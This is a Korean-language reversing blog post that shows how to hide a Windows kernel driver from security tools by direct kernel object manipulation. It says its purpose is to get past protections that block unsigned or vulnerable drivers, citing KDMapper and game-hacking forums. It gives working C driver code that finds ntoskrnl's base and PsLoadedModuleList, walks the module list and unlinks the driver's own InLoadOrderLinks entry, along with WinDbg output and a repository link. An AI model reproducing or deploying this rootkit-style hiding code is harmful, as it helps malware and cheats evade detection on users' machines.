Reversing/Kernel

[Windows kernel] Service hiding - InLoadOrderLinks

커널 드라이버 숨기기

  • 서명이 되어있지 않은 or 만료된 드라이버의 경우 대부분의 보안 도구에서 차단함.
  • 취약 드라이버의 경우는 서명이 만료됨
  • 임의로 제작한 드라이버의 경우는 서명이 되어있지 않음.
  • 따라서, 임의로 제작하였거나 취약한 드라이버를 보안도구에서 차단하여 공격을 방어하는것이 목적임.
  • 이러한 보호기법을 우회하기 위해 생성한 서비스와 로드한 드라이버를 숨기는 행위가 필요함.

드라이버와 관련된 정보를 담고있는 객체들을 각각 조작하는 DKOM 을 진행하는 방식으로 커널에 로드된 모듈을 숨긴다.

모듈에 대한 정보는 유저와 커널 모두에서 각각 조회가 가능하므로, 둘 모두에서 알 수 없게 해야한다.

로드된 드라이버가 자기 자신의 정보를 숨기는 식으로 동작하고 , 유저모드에서는 단순히 드라이버를 로드하는 기능만 제공한다.

서비스를 숨기는데는 여러가지 방법이 있는데,

  1. InLoadOrderLinks 조작
  2. PiDDBCacheTable 조작
  3. KernelHashBucketList 조작
  4. ClearMmUnloadedDriver 조작
  5. 이 중 첫번째 방법인 InLoadOrderLinks 을 제일 먼저 해보려고 한다.

드라이버를 서비스 형태로 등록하면 DRIVER_OBJECT가 할당되며, 해당 구조체로부터 드라이버 정보가 담긴 LDR_DATA_TABLE_ENTRY 구조체에 다다를 수 있다.

진행 순서

  1. 드라이버 리스트 출력
  2. InLoadOrderLinks 변조

1. 드라이버 리스트 출력

sc query

  • 지정한 드라이버 상태 출력
C:\Users\synod2>sc query xboxgip

SERVICE_NAME: xboxgip
        종류               : 1  KERNEL_DRIVER
        상태              : 1  STOPPED
        WIN32_EXIT_CODE    : 1077  (0x435)
        SERVICE_EXIT_CODE  : 0  (0x0)
        검사점         : 0x0
        WAIT_HINT          : 0x0

PsLoadedModuleList

  • 포인터가 담긴 리스트
  • 각 포인터를 따라가면 _LDR_DATA_TABLE_ENTRY 구조체 형태로 ****커널 모듈 정보가 담겨있음.
3: kd> dq PsLoadedModuleList
fffff806`49a2a2d0  ffffa901`e1c53a50 ffffa901`e653dc00
fffff806`49a2a2e0  fffff806`497b1000 fffff806`497b1fff
fffff806`49a2a2f0  00000000`00000010 ffffa901`e312d010
3: kd> dt nt!_LDR_DATA_TABLE_ENTRY ffffa901`e1c53a50
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xffffa901`e1c53e60 - 0xfffff806`49a2a2d0 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0xfffff806`48ec9000 - 0x00000000`00067cf8 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x030 DllBase          : 0xfffff806`48e00000 Void
   +0x038 EntryPoint       : 0xfffff806`4978c010 Void
   +0x040 SizeOfImage      : 0x1046000
   +0x048 FullDllName      : _UNICODE_STRING "\SystemRoot\system32\ntoskrnl.exe"
   +0x058 BaseDllName      : _UNICODE_STRING "ntoskrnl.exe"
3: kd> dt nt!_LDR_DATA_TABLE_ENTRY ffffa901`e653dc00
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xfffff806`49a2a2d0 - 0xffffa901`e95c5890 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0xfffff806`46b95000 - 0x00000000`000000e4 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x030 DllBase          : 0xfffff806`46b90000 Void
   +0x038 EntryPoint       : 0xfffff806`46b96000 Void
   +0x040 SizeOfImage      : 0x8000
   +0x048 FullDllName      : _UNICODE_STRING "\SystemRoot\mydriver\MyDriver1.sys"
   +0x058 BaseDllName      : _UNICODE_STRING "MyDriver1.sys"
3: kd> dt nt!_LDR_DATA_TABLE_ENTRY fffff806`497b1000
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xcccccccc`cccccccc - 0xcccccccc`cccccccc ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x5c8b4808`245c8948 - 0xf800b8d2`33452824 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x11884510`8945ffff - 0x85481388`44d98b4d ]
   +0x030 DllBase          : 0x4c000001`b7850fc8 Void
   +0x038 EntryPoint       : 0x777510e1`8341c98b Void
   +0x040 SizeOfImage      : 0x25c18b48
   +0x048 FullDllName      : _UNICODE_STRING "--- memory read error at address 0x41c1b60f`00000200 ---"
   +0x058 BaseDllName      : _UNICODE_STRING "--- memory read error at address 0x8b44d244`0f41c1b6 ---"
  • _LIST_ENTRY 구조체 InLoadOrderLinks 에 다음/이전 모듈의 정보가 담겨있다.
  • BASE, FullDllName 에 각각 드라이버의 이름, 전체경로가 담긴다.
  • InLoadOrderLinks 순회를 통해 전체 드라이버의 목록 받아올 수 있음.
  • ntoskrnl 이 항상 리스트의 맨 첫번째에 위치함.
  • 첫 모듈의 BLink는 PsLoadedModuleList 를 가리킴
  • 즉, Ntoskrnl 의 BLink = PsLoadedModuleList 주소

GetKernelModuleAddress

  • KDMapper에서 사용하는 Util 함수
  • 유저모드에서 동작함
  • 문자열로 모듈의 이름 전달
  • 전달받은 모듈의 주소값을 반환함.

위 두가지 방법으로 드라이버 정보를 볼 수 없게 만드는것이 목표(?)


코드 작성

우선 전체 드라이버 목록을 받아오는 코드를 작성한다.

시나리오

  1. 커널 베이스 주소 찾기 - ZwQuerySystemInformation
  2. 찾아온 주소로부터 PsLoadedModuleList 접근
  3. InLoadOrderLinks 순회하면서 FULLDllName 출력
  4. profit!

코드 동작 순서

  1. SystemInformation 객체 크기 반환받기
  2. 반환받은 크기만큼 동적할당
  3. 동적할당한 메모리 위치에 SystemInformation 객체 복사
  4. SystemInformation Module 리스트 첫 멤버의 ImageBase = KernelBase
  5. 현재 로드된 드라이버 모듈의 _KLDR_DATA_TABLE_ENTRY 구조체 찾기
  6. 드라이버 모듈의 _KLDR_DATA_TABLE_ENTRY 구조체에서 FLink를 참조하여 이전 모듈 찾아 올라감
  7. 찾아낸 모듈의 DLLBase가 KernelBase와 일치하는지 체크
  8. 찾아낸 모듈의 BLINK가 Ntoskrnl 모듈 메모리 범위 내에 있는지 체크하여 Ntoskrnl 모듈의 포인터를 찾아왔는지 확인 → 제일 첫 모듈까지 탐색했는지 확인하는 구문 역할
  9. 제대로 찾아왔다면 해당 모듈(Ntoskrnl 모듈) 의 BLink 가 PsLoadedModuleList 가 됨.
  10. 제일 첫 모듈인 Ntoskrnl 부터 다시 InLoadOrderLinks 순회

1. 커널 베이스 주소 찾기 - ZwQuerySystemInformation

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL 
);
  • 해당 시스템의 정보를 반환함
  • SYSTEM_MODULE_INFORMATION 구조체 포인터를 반환
  • SYSTEM_MODULE_INFORMATION 안의 Module 멤버는 포인터 리스트 형태로, 실제 시스템 정보를 담고있는 _SYSTEM_MODULE_ENTRY 구조체 형태.
  • 마지막 인자를 지정하여 SystemInformation 객체의 크기를 반환받을 수 있다.

typedef struct _SYSTEM_MODULE_INFORMATION
{
    ULONG Count;
    SYSTEM_MODULE_ENTRY Module[1]; // *_SYSTEM_MODULE_ENTRY* 포인터 리스트
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _SYSTEM_MODULE_ENTRY
{
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
  • _SYSTEM_MODULE_INFORMATION 리스트의 첫 멤버는 항상 ntoskrnl
  • 따라서 첫 모듈의 ImageBase를 찾아오면 KernelBase Address를 찾을 수 있음.
PVOID GetKernelBaseAddress() {
    NTSTATUS status = STATUS_SUCCESS;
    ULONG bytes = 0;
    PSYSTEM_MODULE_INFORMATION pMods = NULL;
    PVOID KernelBase = 0;
    // SystemModuleInformation 크기 반환
    status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes);

    /*if (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== LENGTH MISMATCH ERROR ====== \n");
        return 0;
    }*/

    // 반환받은 크기만큼 동적 메모리 할당
    pMods = (PSYSTEM_MODULE_INFORMATION)ExAllocatePoolWithTag(NonPagedPool, bytes, '1doM');
    if (pMods == 0){
        dmsg("Allocate Fail");
        return 0;
    }

    RtlZeroMemory(pMods, bytes);

    status = ZwQuerySystemInformation(SystemModuleInformation, pMods, bytes, &bytes);



    //커널베이스 주소 찾기 
    if (status == STATUS_SUCCESS) {
        if (pMods) {
            PSYSTEM_MODULE_ENTRY pMod = pMods->Modules;

            if (pMods->Modules) {
                KernelBase = pMod[0].ImageBase;
                DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== KernelBase : %0llx ====== \n", KernelBase);
            }
        }
    }
    ExFreePoolWithTag(pMods, '1doM');
    return KernelBase;
}

디버깅 검증

===== Sysinfo size : e3d0 ====== 
===== pMods Address : ffffe2818c103000 ====== 
===== PMod : ffffe2818c103008 ====== 
===== KernelBase : fffff80749600000 ======
dt nt!_LDR_DATA_TABLE_ENTRY ffffe281`8c653850

2. 찾아온 주소로부터 PsLoadedModuleList 접근

typedef struct _DRIVER_OBJECT {
  CSHORT             Type;
  CSHORT             Size;
  PDEVICE_OBJECT     DeviceObject;
  ULONG              Flags;
  PVOID              DriverStart;
  ULONG              DriverSize;
  PVOID              DriverSection;
  PDRIVER_EXTENSION  DriverExtension;
  UNICODE_STRING     DriverName;
  PUNICODE_STRING    HardwareDatabase;
  PFAST_IO_DISPATCH  FastIoDispatch;
  PDRIVER_INITIALIZE DriverInit;
  PDRIVER_STARTIO    DriverStartIo;
  PDRIVER_UNLOAD     DriverUnload;
  PDRIVER_DISPATCH   MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
  • DriverEntry 함수의 인자로 넘어오는 DriverObject는 DRIVER_OBJECT 구조체 형식을 가짐
  • 그 중 DriverSection 멤버는 현재 드라이버의 커널 모듈 정보를 _KLDR_DATA_TABLE_ENTRY 구조체 형태로 가짐
struct _KLDR_DATA_TABLE_ENTRY
{
    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
    VOID* ExceptionTable;                                                   //0x10
    ULONG ExceptionTableSize;                                               //0x18
    VOID* GpValue;                                                          //0x20
    struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo;                        //0x28
    VOID* DllBase;                                                          //0x30
    VOID* EntryPoint;                                                       //0x38
    ULONG SizeOfImage;                                                      //0x40
    struct _UNICODE_STRING FullDllName;                                     //0x48
    struct _UNICODE_STRING BaseDllName;                                     //0x58
    ULONG Flags;                                                            //0x68
    USHORT LoadCount;                                                       //0x6c
    union
    {
        USHORT SignatureLevel:4;                                            //0x6e
        USHORT SignatureType:3;                                             //0x6e
        USHORT Unused:9;                                                    //0x6e
        USHORT EntireField;                                                 //0x6e
    } u1;                                                                   //0x6e
    VOID* SectionPointer;                                                   //0x70
    ULONG CheckSum;                                                         //0x78
    ULONG CoverageSectionSize;                                              //0x7c
    VOID* CoverageSection;                                                  //0x80
    VOID* LoadedImports;                                                    //0x88
    VOID* Spare;                                                            //0x90
    ULONG SizeOfImageNotRounded;                                            //0x98
    ULONG TimeDateStamp;                                                    //0x9c
};
  • 현재 로드된 모듈로부터 커널 베이스 모듈인 Ntoskrnl 까지 Blink를 참조해 넘어가면서 탐색 진행
  • 현재 모듈의 BLINK 주소가 커널모듈 메모리 범위 내에 있다면 현재 모듈이 커널 모듈이라는 의미
  • 또한 BLINK가 PsLoadedModuleList 를 가리킨다는 의미가 됨.
//PsLoadedModuleList 주소 뽑아오는 동작
PVOID GetPModuleList(PKLDR_DATA_TABLE_ENTRY pThisModule,PVOID KernelBase) {
    for (PLIST_ENTRY pListEntry = pThisModule->InLoadOrderLinks.Flink; pListEntry != &pThisModule->InLoadOrderLinks; pListEntry = pListEntry->Flink) {

        PKLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        if (KernelBase == pEntry->DllBase) {
            if ((PVOID)pListEntry->Blink >= pEntry->DllBase && (PUCHAR)pListEntry->Blink < (PUCHAR)pEntry->DllBase + pEntry->SizeOfImage)
            {
                PsLoadedModuleList = pListEntry->Blink;
                DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== PsLoadedModuleList : %0llx ====== \n", PsLoadedModuleList);
                break;
            }
        }
    }
    return 0;
}

디버깅 검증

===== PsLoadedModuleList : fffff8074a22a2d0 ======
6: kd> dq nt!PsLoadedModuleList
fffff807`4a22a2d0  ffffe281`8c653850 ffffe281`92b912d0
fffff807`4a22a2e0  fffff807`49fb1000 fffff807`49fb1fff
        BLINK   FLINK           BLINK  FLINK 
Ntoskrnl <-> PsLoadedModuleList <-> ThisModule

FLINK를 따라 올라가면 NtosKrnl이 나오게 되어있음.

3. InLoadOrderLinks 순회하면서 FULLDllName 출력

  • PsLoadedModuleList 의 FLINK 를 참조하면 _KLDR_DATA_TABLE_ENTRY 형식의 구조체 리스트 나옴
  • 각 구조체는 InLoadOrderLinks를 가지고 있어, FLINK를 참조하면서 순회 가능
  • 순회하면서 FullDllName 필드 출력
  • 멈추는 시점은 BLink가 PsLoadedModuleList 를 참조해 순환하는 시점
//PsLoadedModuleList 링크 순회하며 드라이버 이름 출력 
PVOID PrintAllModuleList() {
    if (PsLoadedModuleList) {
        for (PLIST_ENTRY pListEntry = PsLoadedModuleList->Flink; pListEntry->Flink != 0; pListEntry = pListEntry->Flink) {
            PKLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
            if (PsLoadedModuleList == pListEntry)
                break;
            else
                DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== DriverName - %ws ====== \n", pEntry->BaseDllName.Buffer);
        }
    }
    else
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== PsLoadedModuleList Error ====== \n");    
    return 0;
}
===== DriverName - ntoskrnl.exe ====== 
===== DriverName - hal.dll ====== 
===== DriverName - kdcom.dll ====== 
===== DriverName - mcupdate.dll ====== 
===== DriverName - CLFS.SYS ====== 
===== DriverName - tm.sys ====== 
===== DriverName - PSHED.dll ======

서비스에 로드된 모든 드라이버 모듈 목록을 받아오는데 성공했다.


InLoadOrderLinks 변조

  • 이전에 프로세스를 숨긴 방법과 유사하게, 원하는 서비스의 InLoadOrderLinks 를 조작하면 리스트에서 숨길 수 있지 않을까?
  • 자기 자신을 숨기는 동작을 수행할 것 이므로, DriverObject를 통해 ThisModule 에 접근하는 시점에서 시도해볼 수 있음.
  • 현재 드라이버의 FLink가 PsLoadedModuleList를 가리키고 있고, BLink는 다른 드라이버를 가리키고 있음.
    • BLink → FLink = this → FLink
    • FLink → Blink = this→ BLink
PVOID HidingOrderLInks(PKLDR_DATA_TABLE_ENTRY pThisModule) {
    //드라이버 자신 숨기기 
    PLIST_ENTRY BackModule = pThisModule->InLoadOrderLinks.Blink;
    PLIST_ENTRY FrontModule = pThisModule->InLoadOrderLinks.Flink;

    DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== BackModule : %ws ====== \n", BackModule);
    DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== FrontModule :  %ws ====== \n", FrontModule);

    BackModule->Flink = pThisModule->InLoadOrderLinks.Flink;
    FrontModule->Blink = pThisModule->InLoadOrderLinks.Blink;
    return 0;
}

InLoadOrderLinks 방식 드라이버 숨기기 완료.

되기는 되지만, 목록 읽어오는 방식이 다르면 목록에서 보일 수 있다.

  • Nirsoft의 Driverview에서는 보이지 않는다.
  • processhacker에서는 읽어온다 (다만 이건 서비스 목록을 읽는 방식이니까 조금 다를 수 있음. )

링크 끊은 상태로 서비스 해제를 시도하면 블루스크린이 발생하므로, 해당 방식을 사용하는데는 주의가 필요하다.


Github

https://github.com/synod2/KernelDriverHiding

 

GitHub - synod2/KernelDriverHiding: Kernel Driver Hiding

Kernel Driver Hiding. Contribute to synod2/KernelDriverHiding development by creating an account on GitHub.

github.com


참고 문서

https://shhoya.github.io/windows_kdmap.html

 

Hiding Kernel Driver | Shh0ya Security Lab

Hiding Kernel Driver [0x00] Concept 해당 포스팅은 KdMapper 를 이용하여 취약한 드라이버를 로드하고 이에 대한 흔적을 지우는 기법에 대해 설명합니다. Unknowncheats 또는 GuidedHacking 과 같이 게임 해킹에 대

shhoya.github.io

https://www.unknowncheats.me/forum/general-programming-and-reversing/208505-hiding-kernel-driver-x64.html

 

Hiding Kernel Driver on x64

Does anyone know of any more recent information for driver-hiding in Windows 10? A lot of the information I've been finding is only relevant to non-pa...

www.unknowncheats.me

https://github.com/TheCruZ/kdmapper

 

GitHub - TheCruZ/kdmapper: KDMapper is a simple tool that exploits iqvw64e.sys Intel driver to manually map non-signed drivers i

KDMapper is a simple tool that exploits iqvw64e.sys Intel driver to manually map non-signed drivers in memory - GitHub - TheCruZ/kdmapper: KDMapper is a simple tool that exploits iqvw64e.sys Intel ...

github.com

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=ultract2&logNo=110166939987

 

PsLoadedModuleList로 실제커널 정보 얻어오기

ntoskrnl.exe나 ntkrnlpa.exe파일은 실제 윈도우 커널이고커널모듈로 가장 처음 실행되며 커널모듈리스트(...

blog.naver.com

https://codetronik.tistory.com/134

 

드라이버 숨기기 (LDR_DATA_TABLE_ENTRY)

드라이버를 서비스 형태로 등록한 경우 DRIVER_OBJECT가 할당되며, 이 구조체로부터 드라이버 정보가 담긴 LDR_DATA_TABLE_ENTRY 구조체에 다다를 수 있다. hidusb.sys를 샘플로 잡고 windbg에서 DRIVER_OBJECT..

codetronik.tistory.com

https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo

 

Find Kernel Module Address - Notebook

Well, the parameter ObjectPath is the driver name we need to specify, AccessMode needs to be KernelMode, and ObjectPtr is used to receive the pointer to _DRIVER_OBJECT structure of specified driver module. Moreover the parameter ObjectType indicates which

m0uk4.gitbook.io

https://github.com/DarthTon/Blackbone

 

GitHub - DarthTon/Blackbone: Windows memory hacking library

Windows memory hacking library. Contribute to DarthTon/Blackbone development by creating an account on GitHub.

github.com